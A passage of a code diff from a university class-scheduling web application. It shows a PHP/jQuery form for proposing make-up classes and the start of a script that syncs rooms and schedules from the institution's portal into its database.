+                                                    <option data-grado="<?= $prof["profesor_grado"] ?>" data-clave="<?= $prof["profesor_clave"] ?>" data-profesor="<?= $prof["profesor_nombre"] ?>" data-id="<?= $prof["profesor_id"]; ?>" value="<?= "{$prof["profesor_clave"]} | {$prof["profesor_grado"]} {$prof["profesor_nombre"]}" ?>"></option>
+                                                <?php
+                                                }
+                                                ?>
+                                            </datalist>
+                                            <ul class="list-group" id="profesores"></ul>
+                                            <input type="hidden" id="periodo_id" name="periodo_id" value="<?= $user->periodo_id ?>">
+                                            <input type="hidden" id="profesor_id" name="profesor_id" value="">
+                                        </div>
+                                    </div>
+                                </div>
+                            </div>
+                            <div class="form-group step" id="step-2">
+                                <div class="form-box">
+                                    <div class="form-group row">
+                                        <label for="horario_reponer" class="col-4 col-form-label">Horario a reponer</label>
+                                        <div class="col-8">
+                                            <select name="horario_reponer" id="horario_reponer" class="form-control" required="required">
+                                            </select>
+                                        </div>
+                                    </div>
+                                </div>
+                                <input type="hidden" name="horario_id" id="horario_id">
+                            </div>
+                            <div class="form-group step" id="step-3">
+                                <div class="form-box">
+                                    <div class="form-group row">
+                                        <label for="fechas_clase" class="col-4 col-form-label">Fecha de clase</label>
+                                        <div class="col-8">
+                                            <select name="fechas_clase" id="fechas_clase" class="form-control" required="required">
+                                            </select>
+                                        </div>
+                                    </div>
+                                </div>
+                            </div>
+                            <div class="form-group step" id="step-4">
+                                <div class="form-box">
+                                    <div class="form-group row">
+                                        <label for="fecha_reponer" class="col-4 col-form-label">Fecha de reposición</label>
+                                        <div class="col-6">
+                                            <input type="text" placeholder="dd/mm/aaaa" name="fecha_reponer" id="fecha_reponer" class="form-control date-picker" required="required">
+                                        </div>
+                                    </div>
+                                    <div class="form-group row">
+                                        <label for="hora" class="col-4 col-form-label">Hora</label>
+                                        <div class="col-3">
+                                            <div id="hora" class="datalist datalist-select mb-1">
+                                                <div class="datalist-input text-center">hh</div>
+                                                <span class="ing-buscar icono"></span>
+                                                <ul style="display:none">
+                                                    <?php foreach (range(7, 21) as $hora) { ?>
+                                                        <li data-id='<?= $hora ?>'><?= str_pad($hora, 2, "0", STR_PAD_LEFT) ?></li>
+                                                    <?php } ?>
+                                                </ul>
+                                                <input type="hidden" id="hora_reponer" name="horas" value="">
+                                            </div>
+                                        </div>
+                                        <div class="col-3">
+                                            <div id="minutos" class="datalist datalist-select mb-1">
+                                                <div class="datalist-input text-center">mm</div>
+                                                <span class="ing-buscar icono"></span>
+                                                <ul style="display:none">
+                                                    <?php foreach (range(0, 45, 15) as $minuto) { ?>
+                                                        <li data-id='<?= $minuto ?>'><?= str_pad($minuto, 2, "0", STR_PAD_LEFT) ?></li>
+                                                    <?php } ?>
+                                                </ul>
+                                                <input type="hidden" id="minutos_reponer" name="minutos" value="">
+                                            </div>
+                                        </div>
+                                    </div>
+                                </div>
+                            </div>
+                            <div class="form-group step" id="step-5">
+                                <div class="form-box">
+                                    <div class="form-group row">
+                                        <label for="descripcion_reposicion" class="col-4 col-form-label">Comentarios</label>
+                                        <div class="col-6">
+                                            <textarea name="descripcion_reposicion" id="descripcion_reposicion" rows="4" required="required" placeholder="Se requiere proyector, etc." maxlength="255" class="form-control"></textarea>
+                                        </div>
+                                    </div>
+                                    <div class="form-group row align-items-center">
+                                        <label class="col-4 col-form-label" for="sala">¿En sala de cómputo?</label>
+                                        <div class="col-6">
+                                            <div class="custom-control custom-switch">
+                                                <input type="checkbox" class="custom-control-input" id="sala">
+                                                <label class="custom-control-label" for="sala"></label>
+                                            </div>
+                                        </div>
+                                    </div>
+                                </div>
+                            </div>
+                        </form>
+                    </div>
+                    <div class="modal-footer justify-content-center">
+                        <button class="btn btn-secondary" type="button" id="prev-button">Anterior</button>
+                        <button class="btn btn-secondary" type="button" id="next-button" disabled data-toggle="modal" data-target="#confirmationModal">Proponer reposición</button>
+                    </div>
+                </div>
+            </div>
+        </div>
+        
+    
+        <div class="modal fade" id="modal_confirm" tabindex="-1" role="dialog" aria-labelledby="modal" aria-hidden="true">
+            <div class="modal-dialog modal-dialog-centered" role="document">
+                <div class="modal-content">
+                    <div class="modal-body">
+                        <div class="row">
+                            <div class="col">
+                                <p class="font-weight-bold">¿Estás seguro de que quieres borrar la reposición?</p>
+                                <p>Esta acción no se puede deshacer.</p>
+                            </div>
+                        </div>
+                    </div>
+                    <div class="modal-footer">
+                        <input type="hidden" id="id_borrar" value="">
+                        <button type="button" class="btn btn-outline-primary btn-borrar"><?php echo $ICO["aceptar"];?> Borrar</button>
+                        <button type="button" class="btn btn-outline-danger" data-dismiss="modal" aria-label="Close"><?php echo $ICO["cancelar"];?> Cancelar</button>
+                    </div>
+                </div>
+            </div>
+        </div>
+    </main>
+    <? include "import/html_footer.php"; ?>
+    
+    <?php
+    //--Manejo de errores y mensajes de exito
+    if(isset($_GET["error"]) && is_numeric($_GET["error"])){
+        switch ($_GET["error"]){
+            case 0: $errorDesc = "No se reciberon los datos de la reposición."; break;
+            case 1: $errorDesc = "Ocurrió un error al insertar los datos de la reposición/cambio."; break;
+            case 2: $errorDesc = "Ocurrió un error al actualizar los datos de la reposición/cambio."; break;
+            case 3: $errorDesc = "No tienes permisos para realizar esa acción."; break;
+            case 4: $errorDesc = "Ocurrió un error al cargar los datos de la reposición/cambio."; break;
+            case 6: $errorDesc = "La reposición/cambio que buscas no existe. Consulta la lista de reopsiciones disponibles en esta sección."; break;
+            case 7: $errorDesc = "La reposición/cambio se empalma con el horario del grupo y no se puede guardar."; break;
+            case 8: $errorDesc = "El salón de la reposición está siendo utilizado ese día a esa hora y no se puede guardar."; break;
+            case 9: $errorDesc = "El profesor está asigndo a otra clase o reposición el mismo día a la misma hora y no se puede guardar."; break;
+            case 10: $errorDesc = "El profesor está asigndo a una materia el mismo día a la misma hora y no se puede guardar."; break;
+            case 11: $errorDesc = "No hay clases asignadas para esa materia y grupo en la fecha de falta."; break;
+        }
+    }
+    if(isset($_GET["ok"]) && is_numeric($_GET["ok"])){
+        switch ($_GET["ok"]){
+            case 0: $successDesc = "La reposición se guardó correctamente."; break;
+            case 1: $successDesc = "La reposición se actualizó correctamente."; break;
+        }
+    }
+    require_once 'js/messages.php';
+    ?>
+    <script>
+    <?php if(isset($errorDesc)){ ?>
+    triggerMessage("<?php echo $errorDesc;?>", "Error");
+    <?php } else if(isset($successDesc)){ ?>
+    triggerMessage("<?php echo $successDesc;?>", "Éxito", "success");
+    <?php } ?>
+
+    var vacaciones=[
+        <?php
+        $vacaciones_rs = $db->query('SELECT diasfestivos_dia from diasfestivos d where :periodo = any(d.periodos_id)', [':periodo' => $user->periodo_id ]); 
+        
+            foreach($vacaciones_rs as $v){ echo '"'.$v["diasfestivos_dia"].'",';}
+        ?>
+    ];
+    var _dias_asistencia = [];//ya registró asistencia, cambia con ajax
+    var _dia_valido = 0;
+    var _fecha_manhana = "<?php echo $fecha_man; ?>";
+    var _periodo_fecha_inicial = "<?php echo date("d/m/Y", strtotime($periodo_rs["periodo_fecha_inicio"])); ?>";
+    var _periodo_fecha_final = "<?php echo date("d/m/Y", strtotime($periodo_rs["periodo_fecha_fin"])); ?>";
+    var datepickerOptions_filtro = { dateFormat: "dd/mm/yy", minDate:_periodo_fecha_inicial, maxDate:_periodo_fecha_final};
+
+    var datepickerOptions = { dateFormat: "dd/mm/yy", minDate:_periodo_fecha_inicial, maxDate:_periodo_fecha_final,
+        beforeShowDay: function(date) {
+            var day = date.getDay();
+            var dateString = $.datepicker.formatDate("yy-mm-dd", date);
+            if (day === _dia_valido) {// 0 representa el domingo
+                if (vacaciones.indexOf(dateString) !== -1 || _dias_asistencia.indexOf(dateString) !== -1) 
+                    return [false];
+                else
+                    return [true];
+            }else{
+                return [false];
+            }
+            
+        }
+    };
+    var datepickerOptions_future = { dateFormat: "dd/mm/yy", minDate:_fecha_manhana, maxDate:_periodo_fecha_final,
+        beforeShowDay: function(date) {
+            var day = date.getDay();
+            var dateString = $.datepicker.formatDate("yy-mm-dd", date);
+            if (day === 0) {// 0 representa el domingo
+                return [false];
+            } else {
+                if (vacaciones.indexOf(dateString) !== -1) {
+                    return [false];
+                } else {
+                    return [true];
+                }
+            }
+            
+        }
+    };
+
+    function diaAAno(fecha_str){//de dd/mm/yyyy a yyyy-mm-dd 
+        if(fecha_str.charAt(2) == "/" && fecha_str.charAt(5) == "/"){//dd/mm/yyyy
+            var fecha_arr = fecha_str.split("/");
+            return fecha_arr[2]+"-"+fecha_arr[1]+"-"+fecha_arr[0];
+        }
+        return fecha_str;
+    }
+    function fechaMayor(fechaI, fechaF) {//cual es mayor >0 I mayor   <0 F mayor
+        return (Date.parse(diaAAno(fechaI)) - Date.parse(diaAAno(fechaF)));
+    }
+
+    function validaFechas(){
+        if(fechaMayor($('#filtro_inicial').val().trim(), $('#filtro_final').val().trim()) > 0){
+            $('#filtro_final').addClass("is-invalid");
+            return false;
+        }
+        return true;
+    }
+
+    function submitForm(){
+        var myBtn = $('#submitBtn');
+        var error = false;
+        
+        $("#gpo").removeClass("is-invalid");
+        invalidDatalist("#materia", false);
+        $("#fecha_inicial").removeClass("is-invalid");
+        $("#fecha_falta").removeClass("is-invalid");
+        $("#fecha_cambio").removeClass("is-invalid");
+
+        
+        if($("#tipo").val() == 1){//reposición
+            if($("#fecha_falta").val() == ""){
+                $("#fecha_falta").addClass("is-invalid");
+                error = true;
+            }
+            if($("#fecha_inicial").val() == ""){//fecha reposición
+                $("#fecha_inicial").addClass("is-invalid");
+                error = true;
+            }    
+        }else{
+            if($("#fecha_cambio").val() == ""){
+                $("#fecha_cambio").addClass("is-invalid");
+                error = true;
+            }
+        }
+        if($("#horario").val().trim() == "" || $("#horario").val() === null){
+            invalidDatalist("#horario", true);
+            error = true;
+        }
+        
+        if(myBtn.data("tipo") == 2 ){
+            $('#formaModal').prop("action", "./action/reposicion_update.php");
+        }else{
+            $('#formaModal').prop("action", "./action/reposicion_insert.php");
+        }
+        return !error;
+    }
+
+    function cambiaTipo(tipo){
+        if (tipo == 1){//reposición
+            $(".repo_block").show();
+            $(".cambio_block").hide();
+            $(".repo_block").find("input[type=text]").attr("required", true);
+            $(".cambio_block").find("input[type=text]").removeAttr("required");
+            $("#hora_nombre").text("Hora reposición *");
+        }else{//Cambio de salón
+            $(".repo_block").hide();
+            $(".cambio_block").show();
+            $(".repo_block").find("input[type=text]").removeAttr("required");
+            $(".cambio_block").find("input[type=text]").attr("required", true);
+            $("#hora_nombre").text("Hora cambio *");
+            var hora = $("#dlMateria ul li.selected").data("hr");
+            var min = $("#dlMateria ul li.selected").data("min");
+            $("#hora_ini").val(hora)
+            $("#min_ini").val(min)
+
+        }
+    }
+    
+    $(document).ready(function(){
+        $(".prof-selected").hide();
+        //fecha de clase
+        $(".date-picker" ).datepicker(datepickerOptions);
+        $(".date-picker" ).datepicker( $.datepicker.regional[ "es" ] );
+
+        //fecha de clase
+        $(".date-picker-filtro" ).datepicker(datepickerOptions_filtro);
+        $(".date-picker-filtro" ).datepicker( $.datepicker.regional[ "es" ] );
+
+        //fecha nueva
+        $(".date-picker-future" ).datepicker(datepickerOptions_future);
+        $(".date-picker-future" ).datepicker( $.datepicker.regional[ "es" ] );
+        
+        
+        function creaOpcion(id_horario, dia, hora, min, nombre, gpo, duracion){
+            return '<li data-id="'+id_horario+'" data-dia="'+dia+'" data-hr="'+hora+'" data-min="'+min+'" data-gpo="'+gpo+'" data-duracion="'+duracion+'">'+nombre+'</li>';
+        }
+
+        $('#filtro_final').focus(function(){
+            $("#filtro_final").removeClass("is-invalid");
+        });
+
+        function obtieneProf(pid){
+            return $.ajax({
+                url:  './action/reposicion_profesor_materias.php',
+                type: 'POST', 
+                dataType: 'json',
+                data: { id: pid, },
+                //async: false,
+                success: function(result) {
+                    if(result["error"]!= "" &&  result["error"] !== undefined){
+                        triggerMessage(result["error"], "Error");
+                        $("#modal").modal('hide');
+                        $(".prof-selected").hide();
+                    }else{
+                        $(".prof-selected").show();
+                        $("#dlMateria ul").html("");
+                        for(i=0; i<result["materias"].length; i++){
+                            var html = creaOpcion(result["materias"][i]["horario_id"],
+                                result["materias"][i]["horario_dia"],
+                                result["materias"][i]["horario_hora"],
+                                result["materias"][i]["horario_min"],
+                                result["materias"][i]["materia_nombre"],
+                                result["materias"][i]["grupo"],
+                                result["materias"][i]["duracion"]
+                                );
+                            $("#dlMateria ul").append(html);
+                        }
+                    }
+                },
+                error: function(jqXHR, textStatus, errorThrown ){
+                    triggerMessage(errorThrown, "Error");
+                }
+            });//ajax
+        }
+
+        $(document).on( "click", "#dlProfesor ul li", function(event){//cambia datalist
+            var pid = $(this).data('id');
+            //busca materias del profesor
+            var profCarga = obtieneProf(pid);
+            profCarga.done(function(){
+                $("#dlMateria ul li:first").click();
+            });
+        });
+        
+        
+        //Actualiza días elegibles de calendario
+        $(document).on( "click", "#dlMateria ul li", function(event){//manda al frente de todos
+            _dia_valido = $(this).data('dia');//variable global
+            var grupo = $(this).data("gpo");
+            var duracionMateria = $(this).data("duracion");
+
+            $(".date-picker" ).datepicker(datepickerOptions);
+            var hora = $(this).data("hr");
+            var min = $(this).data("min");
+            $("#hora_ini").val(hora)
+            $("#min_ini").val(min)
+
+            return $.ajax({
+                url:  './action/asistenciasprofesor_select.php',
+                type: 'POST', 
+                dataType: 'json',
+                data: { "id": $("#prof").val(), "hor": $(this).data("id") },
+                //async: false,
+                success: function(result) {
+                    if(result["error"]!= "" &&  result["error"] !== undefined){
+                        triggerMessage(result["error"], "Error");
+                        $('#modal').modal("hide");
+                    }else{
+                        _dias_asistencia = result["asistenciaArr"];
+                        //Cambiar ciclo [6] y bloque [8]
+                        $("#ciclo").val(parseInt(grupo[6]));
+                        $("#bloque").val(parseInt(grupo[8])-1);
+                        
+                        $('#duracion option').each(function() {
+                            if ($(this).data("duracion") === duracionMateria) {
+                                // Selecciona la opción correspondiente en el select de "duracion"
+                                $(this).prop('selected', true);
+                            }
+                        });
+                    }
+
+                },
+                error: function(jqXHR, textStatus, errorThrown ){
+                    triggerMessage(errorThrown, "Error");
+                }
+            });//ajax
+            
+            
+        });
+        
+        $("#dlTipo ul li").click(function(){//cambia datalist
+            cambiaTipo($(this).data('id'));
+            $(".date-picker" ).datepicker(datepickerOptions);
+        });
+        $("#dlAula ul li").click(function(){//cambia datalist
+            if($(this).data("id") == 1){
+                $("#salon-editar").hide();
+                $("#dlSalon").val("");
+                $("#salon").val("");
+
+            }else{
+                $("#salon-editar").show();
+            }
+            
+        });
+
+        $('#modal_confirm').on('show.bs.modal', function (event) {
+            var button = $(event.relatedTarget); // Button that triggered the modal
+            var id = button.parents("tr").data("id");
+            $("#id_borrar").val(id);
+        });
+        
+        $(".btn-borrar").click(function(){
+            var r_id =  $("#id_borrar").val();
+            $.ajax({
+                url:  './action/reposicion_delete.php',
+                type: 'POST', 
+                dataType: 'json',
+                data: { id: r_id},
+                success: function(result) {
+                    if(result["error"]!= "" &&  result["error"] !== undefined){
+                        triggerMessage(result["error"], "Error");
+                    }else{
+                        triggerMessage(result["ok"], "Éxito", "success");
+                        $("#id"+r_id).remove();
+                    }
+                },
+                error: function(jqXHR, textStatus, errorThrown ){
+                    triggerMessage(errorThrown, "Error");
+                }
+            });//ajax
+            $('#modal_confirm').modal("hide");
+        });
+
+        
+        $('#modal').on('show.bs.modal', function (event) {
+            var button = $(event.relatedTarget); // Button that triggered the modal
+            var tipo = button.data('tipo'); // 1 alta, 2 edicion
+            var modal = $(this);
+            
+            $("#modal .is-invalid").removeClass("is-invalid");
+            //$(this).find(".form-control:first-child").focus();
+            
+
+            $("#errorBox").collapse('hide');
+            $("#errorBox_text").html("");
+            if(tipo == 1){//alta
+                $("#submitBtn").data('tipo', 1);
+                $("#modalLabel").html("Crear Reposición");
+                modal.find("input[type=text]").val("");
+                modal.find("#alumnos").val("15");
+                $("#plan").attr("readonly", false);
+                $("#sem").attr("readonly", false);
+                $("#gpo").attr("readonly", false);
+                
+                //$("#prof").attr("readonly", false);
+                disableDatalist("#horario", false);
+                disableDatalist("#tipo", false);
+                if($("#prof").length>0)
+                    disableDatalist("#prof", false);
+                setDatalistFirst("#tipo");
+                setDatalistFirst("#aula");
+                setDatalistFirst("#horario");
+                $("#dlMateria ul li:first").click();
+                
+            }else{//editar
+                $("#submitBtn").data('tipo', 2);
+                $("#modalLabel").html("Editar Reposición");
+                $("#plan").attr("readonly", true);
+                $("#sem").attr("readonly", true);
+                $("#gpo").attr("readonly", true);
+                //$("#materia").attr("readonly", true);
+                disableDatalist("#horario");
+                disableDatalist("#tipo");
+                disableDatalist("#prof");
+                /*if($("#prof").length>0)
+                    disableDatalist("#prof");
+                $("#prof").attr("readonly", true);*/
+                var r_id = $(button).parents("tr").data("id");
+                $("#id").val(r_id);
+                $.ajax({
+                    url:  './action/reposicion_select.php',
+                    type: 'POST', 
+                    dataType: 'json',
+                    data: { id: r_id },
+                    async: true,
+                    success: function(result) {
+                        if(result["error"]!= "" &&  result["error"] !== undefined){
+                            triggerMessage(result["error"], "Error");
+                            $("#modal").modal('hide');
+                        }else{
+                            //setDatalist("#prof", result["profesor"]);
+                            setDatalist("#prof", result["profesor"]);
+                            
+                            var profCarga = obtieneProf(result["profesor"]);
+
+                            //$('#salon').val(result["salon"]);
+                            $("#fecha_falta").val(result["fecha_clase"]);
+                            $('#hora_ini').val(result["hora_ini"]);
+                            $('#min_ini').val(result["min_ini"]);
+                            $('#comentario').val(result["comentario"]);
+                            $('#alumnos').val(result["alumnos"]);
+                            $('#ciclo').val(result["ciclo"]);
+                            $('#bloque').val(result["bloque"]);
+                            
+                            if(result["tipo"]){
+                                setDatalist("#tipo", 1);
+                                cambiaTipo(1);
+                                $("#fecha_inicial").val(result["fecha_nueva"]);
+                            }else{
+                                setDatalist("#tipo", 2);
+                                cambiaTipo(2);
+                                $("#fecha_cambio").val(result["fecha_nueva"]);
+                            }
+                            _dia_valido = parseInt(result["dia"]);
+                            $(".date-picker" ).datepicker(datepickerOptions);
+                            $("#dlTipo ul li:selected").click();
+                            
+                            
+                            profCarga.done(function(){
+                                setDatalist("#horario", result["horario"]);// No se actualiza TODO
+                            });
+                            setDatalist("#aula", result["aula"]);
+                            modal.modal('show');
+                        }
+                    },
+                    error: function(jqXHR, textStatus, errorThrown ){
+                        triggerMessage(errorThrown, "Error");
+                        $("#modal").modal('hide');
+                        //$('#messageBox')[0].scrollIntoView({ block: "end" });
+                    }
+                });//ajax
+            }
+        });//show
+        
+    });
+
+    $(function() {
+        $('[data-toggle="tooltip"]').tooltip()
+    })
+</script>
+<script src="js/messages.js"></script>
+<script type="module" src="js/reposiciones.js"></script>
+</body>
+
+</html>

+ 423 - 0
rest/horarios_29feb.php

@@ -0,0 +1,423 @@
+<?php
+/*
+idPeriodo: identificador del periodo a consultar (obligatorio, número entero)
+claveFacultad: clave de la facultad a consultar (opcional, cadena)
+claveCarrera: clave de la carrera a consultar (opcional, cadena)
+claveProfesor: clave del empleado a consultar (opcional, cadena)
+fecha: fecha de la clase (opcional, cadena en formato yyyy-MM-dd)
+ */
+ini_set('display_errors', 1);
+ini_set('display_startup_errors', 1);
+ini_set('post_max_size', 1);
+ini_set('max_execution_time', 8*60);
+error_reporting(E_ALL);
+date_default_timezone_set('America/Mexico_City');
+
+$ruta = "../";
+$ruta_superior = dirname(__DIR__);
+require_once $ruta_superior."/include/bd_pdo_rest.php";
+require_once __DIR__."/token.php";
+require_once __DIR__."/LogCambios.php";
+
+//--------------ACTUALIZA HORARIOS--------------------------
+if(!empty($_GET["fecha"])){
+    $hoy = $_GET["fecha"];
+}else{
+    $hoy = date("Y-m-d");
+}
+$dia_hoy = date("w", strtotime($hoy));
+
+
+function compareByHash($a, $b) {
+    return strcmp($a['hash'], $b['hash']);
+}
+
+
+$debug = false;
+if(isset($_GET["debug"])){
+    $debug = true;
+    print_r( $db->querySingle('select now()'));
+}
+$periodo_sgu_old = 0;
+$log_desc = "";
+
+
+/*$cambiocarreras_rs = $db->query('SELECT CLAVE_MATERIA, clave_carrera FROM materia join carrera using(carrera_id)');
+
+function getCarrera($claveBuscar){
+    global $cambiocarreras_rs;
+    $i = array_search($claveBuscar, array_column($cambiocarreras_rs, 'clave_materia'));
+    if($i>=0)
+        return $cambiocarreras_rs[$i]["clave_carrera"];
+    return $cambiocarreras_rs[0]["clave_carrera"];
+}*/
+
+//------------------ACTUALIZA SALONES----------------------
+
+$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/catalogos/espacios/seleccionar";
+$curl = curl_init();
+curl_setopt_array($curl, [
+    CURLOPT_URL => $pag,
+    CURLOPT_RETURNTRANSFER => true,
+    //CURLOPT_ENCODING => "",
+    //CURLOPT_MAXREDIRS => 10,
+    // CURLOPT_TIMEOUT => 0,
+    //CURLOPT_CUSTOMREQUEST => "POST",
+    CURLOPT_POSTFIELDS => json_encode([]),
+    CURLOPT_HTTPHEADER => [
+        "token: ".$token,
+        "username: SGU_APSA_AUD_ASIST",
+        "Content-Type: application/json",
+        'Transfer-Encoding: chunked'
+    ],
+]);
+
+$response = curl_exec($curl);
+$err = curl_error($curl);
+
+curl_close($curl);
+
+if ($err)
+    die("cURL Error #:$err");
+$salonesData = json_decode($response, true);
+
+//$salonesTotal_rs = $db->count('salon');
+$salonesTotal_rs = $db->where('salon_id', 0, '>')->count('salon');
+echo "$salonesTotal_rs tiene " . count($salonesData) . " salones<br>";
+if($salonesTotal_rs < count($salonesData)){//faltan salones en BD
+    $salones_rs = $db->query('SELECT id_espacio_sgu FROM salon');
+    //claves de espacios
+    $arreglo_espacios = array_map(function ($item) {
+        return $item['id_espacio_sgu'];
+    }, $salones_rs);
+    $arreglo_nombres = array_map(function ($item) {
+        return $item['salon'];
+    }, $salones_rs);
+
+    foreach($salonesData as $data){
+        if( !in_array($data["IdEspacio"], $arreglo_espacios) || !in_array($data["NombreEspacio"], $arreglo_nombres)){
+            //Insertar espacio
+            if($debug){
+                echo "Espacio nuevo: ".$data["NombreEspacio"]."<br>";
+            }else{
+                $db->query('INSERT INTO SALON (salon, id_espacio_sgu, id_espacio_padre) VALUES (:salon, :id, :id_padre)
+                    ON CONFLICT (id_espacio_sgu) DO UPDATE SET salon = :salon',
+                    [":salon"=>$data["NombreEspacio"], ":id"=>$data["IdEspacio"], ":id_padre"=>$data["IdEspacioPadre"]]);
+            }
+        }
+    }
+}
+// -----------------------------
+
+$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/seleccionar";
+$elementos_bd_total = [];
+$elementos_sgu_total = [];
+$periodo_sgu_old = 0;
+try{
+    $pdo->beginTransaction();
+
+    
+    $periodos_rs = $db->query('SELECT periodo_id, id_periodo_sgu, nivel_id FROM periodo WHERE :hoy BETWEEN periodo_fecha_inicio AND periodo_fecha_fin AND id_periodo_sgu != 0 ORDER BY periodo_id',
+        [":hoy"=>$hoy]);
+    foreach ($periodos_rs as $per){
+
+        //Verifica si el día de hoy es festivo
+        $vacacion_rs = $db->querySingle('select es_festivo(:per, :hoy)', [":per"=>$per["periodo_id"], ":hoy"=>$hoy]);
+        if($vacacion_rs["es_festivo"]){
+            if($debug){
+                echo "<h3>Dia festivo en Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."]</h3>";
+            }
+            continue;
+        }
+        
+        $carreras_rs = $db->query('SELECT c.clave_carrera, c.carrera_id FROM carrera c WHERE nivel_id = :nivel',
+        [":nivel"=>$per["nivel_id"]]);
+        if($debug){
+            echo "<h3>Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."] nivel: ".$per["nivel_id"]."</h3>";
+            //print_r($carreras_rs);
+        }
+        if ($periodo_sgu_old != $per["id_periodo_sgu"]){
+            $periodo_sgu_old = $per["id_periodo_sgu"];
+            $params = [
+                'idPeriodo'=>$per["id_periodo_sgu"],
+                'fecha'=>$hoy
+            ];
+        
+            $curl = curl_init();
+            curl_setopt_array($curl, [
+                CURLOPT_URL => $pag,
+                CURLOPT_RETURNTRANSFER => true,
+                //CURLOPT_ENCODING => "",
+                //CURLOPT_MAXREDIRS => 10,
+                //CURLOPT_TIMEOUT => 0,
+                //CURLOPT_CUSTOMREQUEST => "POST",
+                CURLOPT_POSTFIELDS => json_encode($params),
+                CURLOPT_HTTPHEADER => [
+                    "token: ".$token,
+                    "username: SGU_APSA_AUD_ASIST",
+                    "Content-Type: application/json"
+                ],
+            ]);
+
+            $response = curl_exec($curl);
+            $err = curl_error($curl);
+
+            /*echo "Response<br>";
+            print_r($response);*/
+
+            curl_close($curl);
+
+            if ($err)
+                die("cURL Error #:$err");
+        }
+        $selectedData = json_decode($response, true);
+    
+        //claves de carreras en el periodo
+        $arreglo_claves = array_map(function ($item) {
+            return $item['clave_carrera'];
+        }, $carreras_rs);
+
+        //print_r($selectedData); exit();
+        $sguHash = array();
+        if(!empty($selectedData)){
+            
+            //Recorre SGU y genera hash
+            foreach( $selectedData as $row ){
+                if(!$row["EsMateriaPorReposicion"]){
+                    $carrera = $row["ClaveCarrera"];
+                    if(is_null($carrera) || empty($carrera))
+                        $carrera = '0';
+                    /*else{
+                        if(!$row["EsMateriaPorAsignacion"]) 
+                            $carrera = getCarrera($row["ClaveMateria"]);
+                    }*/
+                    
+                    $sguHash[] = array(
+                        "hash"=>( trim($row["HoraInicio"]."|".($row["NombreMateria"])."|".(trim($row["ClaveProfesor"])==""?"000000":trim($row["ClaveProfesor"]))."|".$row["IdEspacio"]."|".$per["periodo_id"]) ),
+                        "data"=>$row,
+                        "per"=>$per["periodo_id"]
+                    );
+                }else{//reposición
+                    
+                    if(in_array($row["ClaveCarrera"] , $arreglo_claves)){
+                        //busca yyyy-mm-dd hh:mm:ss en la cadena
+                        if (preg_match("/\d{4}-\d{2}-\d{2} de \d{2}:\d{2}:\d{2}/", $row["Observaciones"], $matches)) {
+                            $fecha_orig =  str_replace(" de", "", $matches[0]);
+                            $fecha_nueva = $row["FechaStr"]." ".$row["HoraInicio"];
+                            $hora_fin_nueva = $row["HoraFin"];
+                            if($debug){
+                                echo "<br>SELECT * FROM fi_reposicion_sgu('$fecha_orig', '".$hora_fin_nueva."','".$fecha_nueva."' ,'".$row["ClaveProfesor"]."', ".$per["periodo_id"].", ".$row["IdEspacio"].")";
+                            }else{
+                                $db->query('SELECT * FROM fi_reposicion_sgu(:fecha_orig, :hora_fin, :fecha_rep, :prof, :per, :salon)',
+                                    [":fecha_orig"=>$fecha_orig, ":hora_fin"=>$hora_fin_nueva, ":fecha_rep"=>$fecha_nueva, ":prof"=>$row["ClaveProfesor"], ":per"=>$per["periodo_id"], ":salon"=>$row["IdEspacio"] ]);
+                                $log_desc .="SELECT * FROM fi_reposicion_sgu($fecha_orig, ".$fecha_nueva.", ".$row["ClaveProfesor"].", ".$per["periodo_id"].") ## ";
+                            }
+                        }else{
+                            if($debug)
+                                echo "No se encontró fecha y hora en: ".$row["Observaciones"]."<br>";
+                        }
+                    }
+                }
+            }
+            unset($selectedData);
+        }
+        
+        echo count($sguHash)."Total <br>";
+    
+        $horarios_sgu = [];
+        
+        /*
+        print_r($carreras_rs); 
+        echo "<br><hr><br>";*/
+        print_r($arreglo_claves);
+        echo "<br><hr><br>";
+
+        //$areacomun = array();
+        foreach($sguHash as $sgu){
+            if(in_array($sgu["data"]["ClaveCarrera"] , $arreglo_claves) /*&& !in_array($sgu["data"]["ClaveMateria"], $areacomun)*/){
+                $horarios_sgu[] = $sgu;
+            }
+        }
+        
+        //print_r($horarios_sgu);exit();
+        unset($sguHash);
+        $elementos_sgu_total = array_merge($elementos_sgu_total, $horarios_sgu);
+        
+        //Recorre BD y genera hash
+        $horarios_rs = $db->query('SELECT * FROM fs_horarios_hash(:dia, :periodo, :fecha)',
+            [':dia' => $dia_hoy, ':periodo' => $per["periodo_id"], ':fecha'=>$hoy]);
+            //echo "**** SELECT * FROM fs_horarios_hash($dia_hoy, ".$per["periodo_id"].")<br>";
+        
+        //usort($horarios_rs, 'compareByHash');
+        $elementos_bd_total = array_merge($elementos_bd_total, $horarios_rs);
+        
+    }//foreach periodo
+    //print_r($elementos_sgu_total); 
+//exit();
+    if($debug){
+        echo "<h3>Resumen</h3>";
+        echo "<h5>SGU [".count($elementos_sgu_total)."]</h5>";
+        echo "<h5>BD [".count($elementos_bd_total)."]</h5>";
+    }
+    // Extraer los "hash" de $lista y $lista2 en arreglos separados
+    $hashes_sgu = array_column($elementos_sgu_total, 'hash');
+    $hashes_bd = array_column($elementos_bd_total, 'hash');
+
+    
+    //print_r($elementos_sgu_total); 
+    
+    //------------------
+    // Encontrar los "hash" que están en $sgu pero no están en $bd
+    $hashes_no_en_sgu = array_diff($hashes_bd, $hashes_sgu);
+    if($debug) echo "hashes_no_en_sgu ".count($hashes_no_en_sgu)."<br>";
+
+    if(count($hashes_no_en_sgu)>0){
+        // Ahora puedes obtener los elementos completos que cumplen la condición original
+        $elementos_no_en_sgu = array_filter($elementos_bd_total, function ($item) use ($hashes_no_en_sgu) {
+            return in_array($item['hash'], $hashes_no_en_sgu);
+        });
+        if($debug){
+            print_r($elementos_no_en_sgu);
+            echo "Sobran ".count($elementos_no_en_sgu)." en BD<br>";
+        }
+
+        //Update fecha_fin
+        $log_desc = "";
+        foreach($elementos_no_en_sgu as $row){
+            if($debug){
+                echo "<br>SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].");";
+            }else{
+                $db->query('SELECT * FROM fu_horario_deshabilita(:horario)', [":horario"=>$row["horario_id"]]);
+                $log_desc .="SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].") ## ";
+            }
+        }
+        if(!$debug && !empty($log_desc)){
